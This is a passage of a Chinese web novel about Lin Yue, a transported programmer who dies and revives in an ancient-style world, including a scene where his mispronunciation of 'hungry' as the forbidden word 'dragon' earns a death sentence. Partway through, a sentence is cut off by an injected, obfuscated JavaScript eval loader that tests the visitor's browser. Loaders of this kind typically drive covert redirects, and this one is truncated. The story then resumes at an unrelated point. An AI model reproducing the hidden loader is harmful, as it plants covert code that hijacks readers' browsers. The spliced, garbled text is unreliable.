他摸了摸自己的手腕。那两条红痕还在,只是其中一条颜色淡了些。他想起之前的死而复生;想起这些红痕像是生命值的标记;想起自己那个天大的秘密——他是个穿越者。 他想,也许这次,还能活过来?像游戏里读档重来。可现在,他只能像条死狗一样瘫在这阴冷的地牢里。 林越的意识在疼痛和黑暗之间浮沉。每一次呼吸都牵扯着后背撕裂般的痛楚。牢房里的空气带着一股霉烂的腥臭味。 他努力睁开眼睛,适应黑暗。这是一间狭小的石牢,墙壁是粗糙的青石砌成。墙角堆着一堆发霉的稻草。 林越的心里涌起一股荒谬的绝望感。这算什么?穿越到古代,就是为了体验一下古代的监狱生活?这待遇比公司那个被关在会议室里写检讨的同事还惨。 但更让他心寒的是那种无力感。在现代社会,就算被冤枉了,至少还有法律程序。可在这里,仅仅因为一个陌生人的指认,仅仅因为自己是个“哑巴”,就被定了罪。他想起了自己装哑巴的初衷——是为了隐藏身份。可现在,这个选择却成了他最大的枷锁。 手腕上的红痕隐隐发烫。林越抬起手,动作艰难。借着极其微弱的光线,他仔细端详。那条颜色较淡的红痕,似乎真的比之前更浅了。这让他心里升起一丝微弱的希望。 如果这次再死一次,会怎么样?也许能回到沙丘,重新开始;也许就真的死了。 不行,不能这样下去。林越咬着牙,强迫自己冷静思考,像程序员debug一样。他必须想办法活下去。装哑巴这条路已经走不通了。也许……他应该开口说话? 可随即他又否定了这个想法。一旦开口,他的口音就会暴露。到时候,等待他的可能就不是简单的牢狱之灾了。 牢房里的温度越来越低,湿冷的空气渗透进骨髓。林越打了个寒颤。他艰难地挪动了一下身体,想要靠近那堆稻草,可每动一下,后背就像被无数根针同时刺穿。 最终,他放弃了。头顶那道缝隙透进来的光线已经完全消失了。牢房彻底陷入了黑暗。 林越闭上眼睛。泪水无声地滑落。他想起了现代的一切,那些平凡却温暖的日子。早上被闹钟吵醒;挤地铁上班;坐在电脑前写代码。那时候,他最大的烦恼不过是加班太多。可现在,那些烦恼都成了遥不可及的奢侈。 如果能回去……他在心里默默发誓。如果能回去,我一定好好活着。可是,还能回去吗? 可眼下,他必须先熬过这一关。熬过这漫漫长夜。 活下去。他对自己说。无论如何,哪怕再死一次,也要活下去。只有活着,才有希望。 林越蜷缩起身体,尽可能地保存体温。他闭上眼睛,开始数数,一、二、三……用这种方法分散注意力,抵抗疼痛,抵抗恐惧。 黑暗中,时间失去了意义。只有疼痛是真实的,只有呼吸是真实的,只有手腕上那两道红痕是真实的——那是他生命的标记,是他穿越的证明,是他回家的希望。 5. 石板血痕 第二天,林越被反剪着双手押往公开刑场时,瞥见不远处茶摊上,那卖茶水的妇人正擦拭着她的铜茶壶。她腰间别着的铜茶漏,在阳光下闪着光,造型竟跟他穿越前在便利店买的保温杯像得惊人! 耳边飘来围观百姓的嘀咕:“这哑巴真够惨的,明明说不出话,就因为县官死抠那本《大炎礼法》里的烂规矩,说沉默就是对上边不敬……”“我听说那王员外的千金根本就没被掳走,是自己跟人私奔了……” 林越心里涌起一股荒谬感。自己因为装哑巴被抓,因为不说话被判不敬,现在又要因为一个莫须有的罪名被杖毙。这逻辑比公司那个“迟到一分钟扣半天工资”的规定还离谱,至少那个规定白纸黑字写得清楚,这个完全是县官一拍脑门定的。 周围的百姓越聚越多,像看戏一样,指指点点,交头接耳。有老人摇头叹气,有妇人捂住孩子的眼睛,有年轻人伸长脖子想看个仔细。阳光很烈,照得人睁不开眼,石板地面反射着白光,空气里弥漫着尘土和汗水的味道。 林越被两个衙役夹在中间,反剪的双手被麻绳勒得生疼,手腕已经磨破了皮。他试着挣扎了一下,但衙役的手像铁钳一样,纹丝不动。算了,省点力气吧,反正也逃不掉。 他抬头看了看天,湛蓝湛蓝的,没有一丝云彩。这么好的天气,本来应该坐在办公室里吹空调写代码,或者躺在家里刷手机,现在却要在这里等死。命运这东西,真是捉弄人,比产品经理还善变,昨天还让你加班赶进度,今天就让你上刑场挨板子。 他想起了那个铜茶漏,那个像保温杯的铜茶漏。为什么会在临死前看到那个东西?是巧合?还是某种暗示?那个茶漏和保温杯,一个古代一个现代,造型却如此相似。难道是在提醒他,两个世界之间有着某种联系?还是纯粹是他想多了,临死前大脑开始胡乱联想? 他摇了摇头,把这些乱七八糟的想法甩出去。现在想这些没用,重要的是怎么活下去——如果还能活下去的话。 但看起来希望不大。县官已经坐在高台上,穿着青色官服,戴着乌纱帽,一脸严肃。两旁的衙役手持水火棍,站得笔直。这阵仗,比公司开年会还正式,关键是年会不会要人命,这个会。 林越被拖着往前走,脚上的草鞋已经烂得不成样子,每走一步都像踩在刀尖上。但他已经感觉不到脚上的疼痛了,因为心里的恐惧更甚。第二次了,这是第二次面对死亡。第一次在黄壤屯,是被酷刑折磨致死;现在第二次,是被冤枉杖毙。死法差不多,都是被活活打死,区别只是地点和原因。 他想起手腕上的红痕。第一次死亡后,两道红痕;这次死亡后,可能只剩一道? 不,不能再想下去了。越想越绝望。 到了刑场,那是一片空地,周围围满了看热闹的人。中间铺着青石板,已经被太阳晒得滚烫。县官高高坐在对面台上,声音隔老远传来,但“杖毙”两个字却像烧红的烙铁烫进他耳朵。 林越被强按着跪在滚烫的石板上,膝盖瞬间传来灼痛。视线开始模糊,刑场上卷起的黄沙在风中打着旋儿。 脖颈后猛地窜起一股冰针般的寒意——那是杀气。包着铁皮的沉重木杖高高举起,在烈日下拖出长长的阴影。 林越闭上眼睛。这次要是能回去,一定好好学历史,至少知道怎么在古代装本地人。要是回不去……算了,该死还得死。 他想起现代的生活:早上被闹钟吵醒;挤地铁上班;坐在电脑前写代码。现在想想,加班算什么?至少不用挨打,不用被冤枉。要是能回去,我一定好好加班,再也不抱怨了。 木杖的影子越来越近。他深吸一口气,准备迎接。 啪! 第一杖落下时,林越只觉得整个后背像被烧红的烙铁狠狠烫了一下,皮肉瞬间炸开。他闷哼一声,额头重重磕在石板上。牙齿咬破了嘴唇,血腥味在口腔里弥漫。 卧槽……这比公司年会抽奖抽到加班券还疼…… 疼痛像潮水一样涌来,一波接一波,没有停歇。第一杖的余痛还没过去,第二杖又来了。啪!这次打在腰上,力道更大,林越感觉自己的脊椎像要断了,咔嚓一声轻响,不知道是不是骨头裂了。他忍不住惨叫出声,声音嘶哑难听,像破风箱。 “啊——!” 汗水瞬间湿透了全身,和血水混合在一起,黏糊糊的,难受极了。他趴在地上,脸贴着滚烫的石板,能感觉到石板上的热量,能闻到尘土的味道,能听到自己的心跳,咚咚咚,像打鼓。 第三杖,第四杖……木杖像雨点一样落下,每一下都带来新的剧痛。林越已经数不清挨了多少下了,只觉得整个后背已经麻木了,疼痛从尖锐变得钝重,像是有什么重物压在背上,每一次呼吸都扯动着伤口。 他能听到板子拍在皮肉上的闷响,能听到衙役粗重的喘息,能听到县官冷漠的宣判,能听到围观者的窃窃私语。这些声音混杂在一起,像一首诡异的交响乐,而他则是这场演出的主角,被动地承受着一切。 他想起了第一次在黄壤屯受刑的场景。那时候也是这样,被按在地上打,被严刑拷打,被鞭子抽。但那次更惨,因为时间更长,折磨更多。这次虽然也疼,但至少快一点,不用拖那么久。 他想起了那个胖掌柜,那个好心人。对不住了掌柜,你的铜板我还没花呢,还在怀里揣着,现在可能已经被血浸湿了。要是能回去,一定还你,连本带利。虽然你可能已经不记得我了,或者以为我死了。 他想起了那个带玉坠的少女。那玉坠到底有什么秘密?从黄壤屯到新城镇,当初就不该换出去,留着当护身符也好。 他想起了父母。爸妈,对不起了,儿子不孝,不能给你们养老送终了。如果你们知道我死在这里,死得这么惨,一定会很伤心吧。希望你们永远不知道,希望你们以为我只是失踪了,或者去远方打工了。 他想起了朋友,想起了同事,想起了那个没写完的项目。系统还有bug没修,需求还没确认,代码还没提交。 他想起了手腕上的红痕。还剩一条半,这次死掉后,会不会只剩一条?或者……直接没了?如果红痕代表生命次数,那我是不是快用完了? 不行,不能死,不能就这么死了。我还有太多事情没做,太多疑问没解开。我为什么能死而复生?我还能不能回家? 他想挣扎,想站起来,想逃跑。但身体不听使唤,像一滩烂泥,瘫在地上。衙役的手按着他的肩膀,力道很大,像两座山,压得他动弹不得。 木杖还在落下。一下,又一下。每一下都带走一点生命,每一下都带来一点绝望。 林越的意识开始模糊,视线开始发黑。他感觉自己在往下沉,像沉入深海,周围的声音越来越远,越来越模糊。疼痛也渐渐远去,取而代之的是一种麻木,一种解脱。 要死了吗?终于要死了吗? 也好,死了就解脱了,就不用再疼了,就不用再害怕了,就不用再挣扎了。 但他不甘心。凭什么?凭什么他要死在这里?凭什么他要受这些罪?他做了什么?他只是想活下去,只是想回家,这有错吗? 愤怒,不甘,委屈,绝望……各种情绪涌上心头,像火山一样爆发。他想喊,想叫,想质问这个世界,想质问那些审判他的人。 但他发不出声音。他的喉咙被堵住了,像被什么东西掐着,只能发出“嗬嗬”的声音,像垂死的野兽。 就在这时,他看到了。看到了石板上的血。 他的血,暗红色的,黏稠的,在青石板上流淌,蔓延。那些血迹沿着石板的缝隙延伸,形成一道道红色的线条。奇怪的是,那些线条不是随意流淌的,而是在遵循某种规律,某种图案。 林越眨了眨眼睛,以为自己出现了幻觉。但那些红色的线条确实在动,在汇聚,在连接,在组成……一个形状。 他看到了一个“点”,然后是一个“横”,然后是一个“竖弯钩”……那些血迹像是有意识一样,在石板上勾勒出一个字。一个笔画复杂,但结构分明的字。 不,不可能。林越想摇头,但脖子已经动不了。一定是幻觉,一定是临死前的幻象。 但那个字越来越清晰,越来越完整。 他看到了那个字的全貌——一个歪歪扭扭,但笔画分明的“龙”字! 龙!又是“龙”!在黄壤屯牢房,他临死前看到狱卒令牌背面刻着“龙”字;现在,在新城镇刑场,他临死前看到自己的血在石板上汇成“龙”字! 为什么?为什么总是“龙”?这个字到底代表什么?是某种象征?是某种力量?还是……这个世界的某种规则? 林越的脑子飞速转动,但疼痛和失血让他的思维变得迟钝。他想起了那个带玉坠的少女,她会不会和“龙”有关?那个玉坠,那个青芒,那个流转的光…… 他想起自己手腕上的红痕,那些死而复生的经历。这一切,会不会都和“龙”有关?这个字,为什么会反复出现在他的濒死时刻? 难道……这就是他穿越的原因?这就是他死而复生的秘密?这就是这个世界的真相? 太多的疑问,太少的答案。林越感觉自己的意识在快速流逝,像沙漏里的沙子,一点点漏光。眼前的“龙”字开始模糊,开始扭曲,开始变形。那些血迹还在流淌,但已经不再遵循规律,而是随意蔓延,像一朵盛开的花,又像一张哭泣的脸。 他听到县官的声音,远远的,像是从另一个世界传来:“……行刑已毕,拖下去,扔乱葬岗……” 乱葬岗……又是乱葬岗。上次死在黄壤屯,被扔乱葬岗;这次死在新城镇,也要被扔乱葬岗。这待遇,还真是一视同仁。 林越想笑,但连笑的力气都没有了。他感觉到有人在拖他,一人抬肩膀,一人抬脚,动作粗暴,像拖一袋垃圾。他的身体在石板地上摩擦,后背的伤口被粗糙的石面刮擦,带来新的疼痛,但他已经不在乎了。 他被拖出了刑场,拖过了街道,拖向了城外。他能听到围观者的议论,能听到衙役的咒骂,能听到风吹过耳边,能闻到尘土和血腥混合的味道。 但这一切都越来越远,越来越模糊。最后,他听到的,是自己心跳的声音,越来越慢,越来越弱。咚……咚……咚……然后,停了。 黑暗,无边无际的黑暗。像墨水一样浓稠的黑暗,将他包裹,将他吞噬。 在黑暗中,他仿佛又看到了那个“龙”字,血红色的,在黑暗中发光,像一个指引,又像一个警告。那个字旋转着,变幻着,最后化作一道红光,没入他的手腕。 林越感觉左手腕一阵灼热,像被烙铁烫了一下。他想抬手看看,但手抬不起来。他只能感觉到那股灼热,从手腕蔓延到全身,像火焰在血管里流淌。 然后,火焰熄灭了。黑暗重新降临,更深,更沉,更彻底。 这一次,没有关东煮,没有烤肠,没有沙丘。只有黑暗,永恒的黑暗。 不知过了多久,也许是一瞬间,也许是永恒。林越的意识在黑暗中漂浮,像一片羽毛,没有方向,没有目的。 他听到一个声音,很轻,很遥远,像是从地底传来,又像是从天空落下。那声音在重复一个字,一个他熟悉得不能再熟悉的字: “龙……” “龙……” “龙……” 声音越来越响,越来越近。林越猛地睁开眼睛—— 他站在了城镇外面的破驿站里! 他低头看向左手腕。那两条红痕还在,但其中一条的颜色明显淡了很多,像是褪色了,从鲜红变成淡红,马上要看不见了。 只剩一条了。 手腕上那一条红痕,在阳光下格外刺眼。那是他的生命线,是他的倒计时。每死一次,就少一条。还剩一条,也就是说,他还能死一次? 不,不能再死了。还有一种可能是红痕消失就是彻底的死亡。 林越盯着手腕,心里涌起复杂的感觉。第三次活过来了。但代价是什么?是红痕的消失?是生命的消耗? 他想起刑场上那个血色的“龙”字,那个在石板上汇成的图案。那绝对不是幻觉,绝对不是巧合。那是有意义的,那是在告诉他什么。 “龙”……这个字,这个禁忌,这个反复出现的符号,到底意味着什么? 他想起黄壤屯狱卒令牌上的“龙”字刻痕;想起刑场石板上血痕汇成的“龙”字;想起自己手腕上的红痕,那些记录死亡次数的标记。 这一切,都指向同一个方向:这个世界的秘密,他穿越的原因,他死而复生的能力,都和“龙”有关。但目前为止还有什么特别相关的线索或人物出现过,也许之后有机会要多多收集相关的信息。 林越决定,还是先去新城镇。他检查了一下身上的东西:破烂的粗布衣,快散架的草鞋,怀里还有几文钱,虽然被血浸湿了,但还能用。哦,对了,还有那个关东煮纸杯,虽然空了,但也许还有用。 他小心翼翼地把纸杯折好,塞进怀里。这是他从现代带来的东西,也许以后能用上,比如当引火物,或者当容器。 太阳渐渐升高,沙丘上的温度越来越高。林越用破布裹住头,挡住阳光。他需要保存体力,需要规划路线。 这一次,不能再莽撞了。不能再轻易相信别人,不能再暴露身份,不能再犯同样的错误。要谨慎,要观察,要学习,要适应。 他想起自己装哑巴的教训。不说话反而成了罪证,成了默认。也许,他需要学习语言,学习礼仪,学习这个世界的规则。只有融入,才能生存;只有生存,才能找到答案。 好吧,那就从语言开始。这一次,他不再装哑巴,而是要努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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客人是个年轻后生,接过包子咬了一口,烫得直哈气:“唔……好吃!老板手艺越来越好了!” “那是!”老板得意地扬了扬下巴,“俺这包子,用的是上好的五花肉,肥瘦相间,剁得细细的,加上俺家祖传的秘方调料,那味道,保准尔吃了还想吃!” 林越听着,心里默默记下这些对话。“今儿个……就是今天……卖了五十个包子……生意不错……”他小声念叨着,这老板说话挺有意思,带着股自豪劲儿,跟公司那个爱吹牛的产品经理似的。 客人走后,老板回到铺子里,从柜台底下拿出一个账本。那账本看起来很旧了,封面是深蓝色的粗布,边角都磨得发白。老板又拿出一支毛笔,在砚台里蘸了蘸墨,翻开账本,准备记账。 林越假装路过,慢慢踱步到铺子侧面,借着竹棚的遮挡,悄悄瞥了一眼账本。他的位置很巧妙,既能看清账本上的内容,又不会被老板直接发现。 账本摊开在柜台上,纸张泛黄,上面写满了字。但那些字……很奇怪。 林越眯起眼睛,仔细看。那些字不是他熟悉的楷书,也不是他之前见过的行书或草书。那些符号弯弯曲曲,笔画复杂,像是大篆,但又不太一样。大篆他见过图片,虽然不认识,但大概知道是什么样子。可这些符号……比大篆更扭曲,更诡异,像是某种变体,或者说,像是某种密码。 这是什么字?林越心里疑惑,看起来好奇怪,不像普通的汉字。 他看见老板在账本上写下今天的日期——用的是普通的数字“初五”,这个林越认识。但接下来,老板写的内容就让林越看不懂了。 老板写了一个奇怪的符号,看起来像是一条盘曲的蛇,又像是一个扭曲的“龙”字。然后他在旁边写了个数字“五十”,应该是表示卖了五十个包子。但那个符号……林越总觉得在哪里见过。 林越心里一动,这个符号……好像跟上次死前看到的那个血痕形成的‘龙’字有点像? 他想起上次被杖毙时,在石板上看到的那个由鲜血形成的“龙”字。那个字歪歪扭扭,笔画诡异,跟眼前账本上的这个符号有几分相似。 老板又写了一个符号,这次看起来像是一个简化的“人”字,但笔画更加扭曲。他在旁边写了个数字“三”,应该是表示三文钱一个。 这些符号……难道是某种暗号?林越想着,包子铺老板为什么要用这种奇怪的符号记账?普通的数字和文字不能用吗? 他继续观察。老板又写了几个符号,每个符号旁边都配着数字。有的符号看起来像动物,有的像植物,有的干脆就是一些莫名其妙的线条组合。林越一个都看不懂,但他能感觉到,这些符号不是随便写的,它们有规律,有系统。 这老板,不简单啊。林越心里警惕起来,一个普通的包子铺老板,为什么要用这么复杂的符号记账?他在隐藏什么? 就在这时,老板似乎察觉到了什么。他抬起头,目光扫过铺子外面,正好对上了林越的视线。 林越心里一惊,赶紧低下头,弯腰拍裤脚的灰土。他能感觉到老板的目光在他身上停留了几秒,那目光里带着审视,带着警惕,甚至……带着一丝不易察觉的寒意。 被发现了!林越心里一紧,得赶紧走! 他站起身,快步走开。他没有回头,但他能感觉到老板的目光一直跟在他背上,像针一样扎人。 走出十几步后,林越才敢稍微放慢脚步。他深吸一口气,强迫自己冷静下来。 那账本有问题,他想着,那些符号不像普通的字,更像是某种密码,或者某种特殊的文字系统。 他想起之前见过的那些奇怪的事情——狱卒令牌上的“龙”字,石板血痕形成的“龙”字,现在又是包子铺账本上的奇怪符号。这些东西之间,会不会有什么联系? 这个世界比想象的还要复杂,林越感觉后背发凉,不只是语言不通,礼仪不懂,还有这些隐藏在表面之下的秘密…… 他回头看了一眼包子铺。老板已经收起了账本,正在招呼新的客人。他脸上又恢复了那种憨厚的笑容,动作麻利,语气热情,看起来就是个普通的包子铺老板。 他转身,继续往镇里走去。但这一次,他的脚步更加沉重,心情更加复杂。 阳光照在他身上,暖洋洋的,但他却感觉不到温暖。只有一种深深的、无法言说的寒意,从心底慢慢升起。 但他现在没时间深究。他得先活下去,先学会说话,先融入这个世界。 他走进城镇,这回记得抬头看了下匾额,写着“清水镇”三个字,石板路还是那么平整,店铺还是那么热闹。林越深吸一口气,朝着酒肆的方向走去。 这一次,他要更小心,更谨慎,更努力。 因为,他只有一条命了。 6. 偷食之罪 清晨的第一缕阳光透过柴房缝隙照进来时,林越已经醒了。他盯着手腕上那道清晰的红痕看了很久,直到眼睛发酸。 只剩一次机会了。 这个念头像一块巨石压在他心头。他坐起身,开始今天的第一个任务:伪装。 第三次了。第一次死在乱葬岗,第二次被杖毙,这次不能再死了。那种疼痛,那种绝望,他不想再经历第三次。 这次一定要小心。语言、礼仪、行为,每一个细节都要注意。在这个世界,说错一个字,做错一个动作,都可能要命。 从墙角抓起一把碳灰,他走到水缸前,借着水面模糊的倒影,开始在自己脸上涂抹。用深色的碳灰在颧骨下方打阴影,让脸看起来更瘦削;用浅色的灰在眉骨处提亮;最后在嘴角画上几道细纹,让自己看起来老了几岁。 不能太明显,但也不能完全不像。得让人觉得和通缉令上的完全不同,但又不能引起怀疑。 伪装完成后,他换上那套从旧衣摊上淘来的粗布衣服——比之前的更破旧,但洗得干净。衣服上有几个补丁,针脚粗糙,但至少没有破洞。 最后,他对着水面练习今天的第一个词,嘴唇微动:“谢过。” 发音要准确,声调要到位。大炎官话的声调比普通话复杂,有六个调值。林越已经练习了好几天,但还是不敢大意。 这是他在清水镇的第二天。一天前,他带着从破驿站学来的基础语言和礼仪,小心翼翼地进入这个城镇。他还是找了这家酒肆打工,胖掌柜听说林越是外地来的流民,愿意给他一个栖身之所。 林越很珍惜这个机会。他每天天不亮就起床,劈柴、挑水、搬酒坛,什么脏活累活都干,没有怨言。闲下来的时候,他就躲在角落里,竖起耳朵听客人们聊天,学习他们的发音、用词、语气。 这学习方式比公司培训还累。至少培训有老师讲,有教材看。这里全靠自己偷听,错了都不知道。 但他发现了一些规律。大炎官话的语法和普通话有些相似,但词汇和发音差别很大。比如“吃饭”叫“恰饭”,“喝水”叫“饮汤”,“睡觉”叫“眠觉”。 林越像背代码一样背这些词汇。每天早上醒来,第一件事就是默念昨天学到的词;干活的时候,在心里造句;晚上睡觉前,复习一整天听到的对话。他甚至还发明了一套自己的记忆法——把发音相似的词归类,把意思相关的词分组,像是在整理数据库。 他发现大炎官话里有不少古汉语的影子,有些词他依稀记得在文言文里见过。这让他稍微安心了一点,至少不是完全陌生的语言体系。但发音依然是最大的难关,那些奇怪的声调,那些卷舌音,那些喉音,让他舌头打结,喉咙发紧。 更麻烦的是方言差异。清水镇的口音和黄壤屯的不太一样,更柔和,更绵长。他之前在破驿站学的是黄壤屯那边的口音,到这里还得重新调整。这感觉就像学了一种编程语言,换了个版本,语法差不多,但一些细节变了,得重新适应。 他特别注意那些容易混淆的词。比如“龙”和“饿”,发音相近,但意思天差地别。一个是禁忌,一个是生理需求。说错了“龙”字,直接死刑;说错了“饿”字,顶多被人笑话。所以他反复练习这两个词的发音,对着水缸的倒影,观察口型,调整舌头位置。 “龙——le,二声,舌头后缩,口腔打开。” “饿——le,四声,舌头平放,嘴角稍收。” 他一遍遍地念,直到口干舌燥。这两个词太重要了,一个关乎生死,一个关乎温饱。他可不想因为发音不准,把“我饿”说成“我龙”,那乐子就大了,直接送菜市口。 他还注意到,大炎官话有很多敬语和谦语。对长辈要说“您”,语气恭敬;对平辈要说“尔”;对自己要说“小人”或“草民”。这些规矩比现代汉语复杂得多,一不小心就会用错。 这规矩比公司那个“必须叫领导职称”的规定还麻烦。至少叫错了领导职称,顶多被批评一顿。这里叫错了,可能就要掉脑袋。所以他必须小心。 他学得很快,也许是求生的本能,也许是程序员的逻辑思维帮助了他。现在已经能听懂大部分日常对话,也能进行简单的交流。但他知道,这还不够。 比如现在,他正在劈柴。一个伙计走过来:“喂,新来的,掌柜让尔去前店搬两坛酒,客人要的。” 林越放下斧头,低头应道:“是,小人这就去。”他刻意用了“小人”这个自称——这是平民对上级的标准用语。 走到前店,他低着头,目不斜视。他知道自己的伪装能骗过一般人,但如果是眼神敏锐的人,还是有可能认出来。所以他尽量避免出现在人多的地方。 低调,一定要低调。不能引起注意,不能让人怀疑,不能犯错。犯错就是死,没有第二次机会。 前店比后院热闹得多,人声嘈杂,酒气弥漫。林越快速扫了一眼,确认没有熟悉的面孔,这才松了口气。 他搬起两坛酒,压得肩膀生疼。但他不敢停,也不敢慢,脚步稳而快。 搬完酒坛,他回到后院,继续劈柴。斧头起落,木柴应声而裂。汗水顺着额头流下来,滴进眼睛里,刺得生疼。但他不敢擦,怕手上的碳灰被汗水冲掉。 中午,胖掌柜给了他一碗稀粥和一张干饼。林越接过,低声说:“谢过掌柜。” “吃吧,下午还有活。”胖掌柜摆摆手,转身走了。 林越蹲在墙角,小口小口地吃着。稀粥很稀,几乎能照见人影;干饼硬得像石头,得就着粥才能咽下去。但他吃得很认真,每一口都细细咀嚼。 “这伙食真是比我们公司的食堂还差。”林越一边吃一边吐槽,“至少食堂的饭是热的,这粥是凉的,饼是硬的。” 吃完后,他把碗洗干净,放回厨房,然后继续干活。 下午的阳光很毒,晒得人头晕眼花。林越感觉自己越来越饿——早上的稀粥和干饼根本不够支撑这么重的体力劳动。他的肚子开始咕咕叫,手脚也开始发软。 “再坚持一下……”他对自己说,“晚上就有饭吃了。” 但到了晚上,胖掌柜只给了他半碗剩菜和半张饼。 “最近生意不好,将就着吃吧。”胖掌柜有些不好意思地说。 林越没说什么,接过食物,默默吃完。他知道掌柜说的是实话——这家酒肆位置偏,客人少,能给他一份工已经不错了。 回到柴房,林越躺在干草堆上,感觉胃里空荡荡的。饥饿像一只无形的手,攥着他的胃,越攥越紧。他想起穿越前的生活——加班到深夜,还能去便利店买关东煮和烤肠,热乎乎的,香喷喷的…… “别想了。”,他强迫自己停止回忆,想也没用。 他抬起手腕,看着那道红痕。在昏暗的光线下,它像一道血色的伤疤,提醒着他:只剩一次机会了。 “必须活下去。”他喃喃自语,“无论如何,必须活下去。” 第二天,情况更糟了。 酒肆来了个大客户,包下了整个后院办宴席。林越从早忙到晚,搬桌子、摆椅子、端菜送酒,连喘口气的时间都没有。中午掌柜忙忘了,没给他饭吃。等到傍晚宴席结束,他才得到一碗冷掉的剩饭。 饿。 太饿了。 林越感觉自己的胃在抽搐,眼前一阵阵发黑。他扶着墙,慢慢走回柴房,每一步都像踩在棉花上。 “不行……得找点吃的……”他靠在墙上,喘着粗气。 可是去哪儿找呢?酒肆的厨房锁着,掌柜看得紧。街上倒是有卖吃的,但他没几个铜板。就在这时,一阵香味飘了过来。 肉香、面香,还有某种香料的味道。 林越抬起头,鼻子不自觉地抽动。这香味……是从隔壁传来的。隔壁是一家包子铺,他每天都能闻到那里的香味,但今天特别浓,特别诱人。 他鬼使神差地走出柴房,顺着香味来到包子铺后墙。从墙缝里看进去,能看见蒸笼冒着白气,能听见包子出笼时“噗”的一声轻响。 一个伙计端着一笼刚蒸好的包子走出来,放在案板上。那些包子白白胖胖,冒着热气,皮薄得能看见里面的馅儿——是肉馅,油汪汪的,香得让人流口水。 林越的喉咙动了动。他感觉自己能吞下一头牛。 “就一个……”,他心里有个声音在说,“就拿一个,以后有钱了还他双倍……” 理智告诉他不能这么做,偷窃是犯罪,被抓到就完了。但饥饿压倒了一切,他的身体自己动了,翻过后墙,溜进后院,伸手抓起一个包子—— “干什么的!” 一声大喝从身后传来。林越浑身一僵,手里的包子“啪”地掉在地上。 包子铺老板站在门口,瞪着眼睛看着他。就是之前镇口的包子铺老板,这似乎才是他的本店,但他似乎没有认出林越,此刻脸上满是怒容。 “我……我……”林越慌了,大脑一片空白。他想解释,想说自己是太饿了,想说以后一定还钱,但话到嘴边,却结结巴巴说不出来。 完了……被抓现行了!林越心里叫苦,这次真的完了…… “偷东西?”老板走过来,捡起地上的包子,看了看,又看了看林越,“看尔也不像坏人,怎么干这种事?” “对……恕罪……”林越终于挤出几个字,“小人太饿了……小人不是故意的……” “饿了就能偷?”老板摇摇头,“按律法,盗窃要受罚。轻则杖责,重则流放。看尔年纪轻轻,我也不想为难尔。这样吧,尔在我这儿干三天活,抵这个包子的钱,怎么样?” 林越眼睛一亮。有转机!老板是个善人,愿意给他机会! 三天活抵一个包子?这买卖……划算!林越心里一喜,至少不用挨打,不用流放。 “小人愿意!小人愿意干活!”他连忙说,“谢过老板!谢过!” “嗯,那就——”老板话没说完,外面突然传来一阵喧哗声。几个街坊邻居听见动静,围了过来。 “老张,怎么回事?” “这小偷抓着了?” “哟,还是个生面孔!” 人群围了上来,七嘴八舌地问。林越被围在中间,感觉无数双眼睛盯着自己,压力山大。他必须说点什么,必须解释清楚。 解释……怎么解释?林越脑子飞速运转,“说我是太饿了?说我会干活抵债?” “各位,听我说……”他深吸一口气,努力组织语言,“我不是小偷,我只是……只是太饿了……” “饿了就能偷?”一个妇人尖声说。 “不是,我的意思是……”林越急了,语速加快,“我一天没吃饭了,实在受不了,才……才拿了一个包子。我愿意干活抵债,真的!” 他说得很快,很急,发音有些走样。但这不是重点。重点是,在极度紧张和饥饿的状态下,他的大脑有些混乱,舌头有些打结。 他想说“饿”。 大炎官话里,“饿”的发音是“lè”,第四声,短促有力。 但他太紧张了,声带绷得太紧,发音时气流控制不稳。那个“lè”音在出口的瞬间,发生了一点微妙的变化——声调偏高了一点,尾音拖长了一点。 听起来,有点像…… “龙”。 周围突然安静了。 死一般的寂静。 包子铺老板的脸色瞬间变了。从刚才的和善,变成了震惊,然后是恐惧。他后退一步,指着林越,手指发抖:“你……尔刚才说什么?” 林越还没反应过来:“我说我饿……” “不对!”一个老头打断他,“尔说了那个字!尔说的是那个字!” “我没有!”林越急了,“我说的是饿!lè!第四声!” “就是那个字!”另一个妇人也喊起 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县官留着山羊胡,脸上皱纹很深,眼神锐利得像鹰。他穿着一身青色官服,头戴乌纱帽,手里拿着一块惊堂木。看到林越被押上来,他皱了皱眉,用惊堂木在案上轻轻敲了敲:“肃静。” 堂下原本有些嘈杂,立刻安静下来。几个衙役分列两旁,手持水火棍,面无表情。堂外挤满了看热闹的百姓,伸长脖子往里瞧。 “尔是何人?”县官开口,声音不高,但很有穿透力。 林越低头不语。他知道,说什么都没用了。解释?辩解?在这个世界,说错一个字就是死罪,解释再多也没用。 “尔犯了什么罪?”县官又问。 “回大人,此人偷窃包子,被当场抓获。”押送他的衙役上前一步,躬身回答,“而且,他在辩解时,说了那个字。” “那个字?”县官的眼神变得锐利,像两把刀子刺向林越,“尔说了那个字?” 林越张了张嘴,想解释,但发不出声音。他知道,解释也没用。在这个世界,“龙”是皇权的象征,庶民不得言“龙”,违者就是亵渎皇权,就是死罪。他想起之前学过的规矩——大炎王朝以龙为图腾,皇帝自称“真龙天子”,民间严禁使用“龙”字,连发音相近的字都要避讳。 “我怎么会说错呢?”林越在心里问自己,“‘饿’和‘龙’,发音明明不一样啊……”但他知道,在极度紧张和饥饿的状态下,发音确实可能出错。声带绷得太紧,气流控制不稳,一个音就可能变成另一个音。 “看来尔是不肯招了。”县官失去了耐心,拿起惊堂木,“啪”地一声重重拍在案上,“按《大炎律例》第三卷第七条:盗窃财物者,杖责三十,罚银五两!” 堂下传来一阵窃窃私语。三十杖不算轻,但也不算重,至少不会要命。 但县官的话还没完:“又按《大炎律例》第一卷第一条:庶民不得言‘龙’,违者,视为亵渎皇权,斩立决!” “斩立决”三个字像三把重锤,狠狠砸在林越心上。他感觉自己的心脏停跳了一拍,然后开始疯狂地跳动,像要跳出胸腔。 “斩立决……”他在心里重复着,"就这么……死了?" “两罪并罚,斩立决!”县官的声音冰冷,没有一丝感情,“拖下去,后日午时三刻,城南菜市口,斩首示众!” 林越抬起头,看着县官。县官的脸上没有任何表情,就像在说一件再平常不过的事。对县官来说,这确实很平常——每天都要审判犯人,每天都要判刑,死刑也不过是众多刑罚中的一种。 “为什么?!”林越在心里呐喊,“为什么总是我?我只是想活下去……我只是想吃口饭……我犯了什么滔天大罪?偷一个包子?说错一个字?” 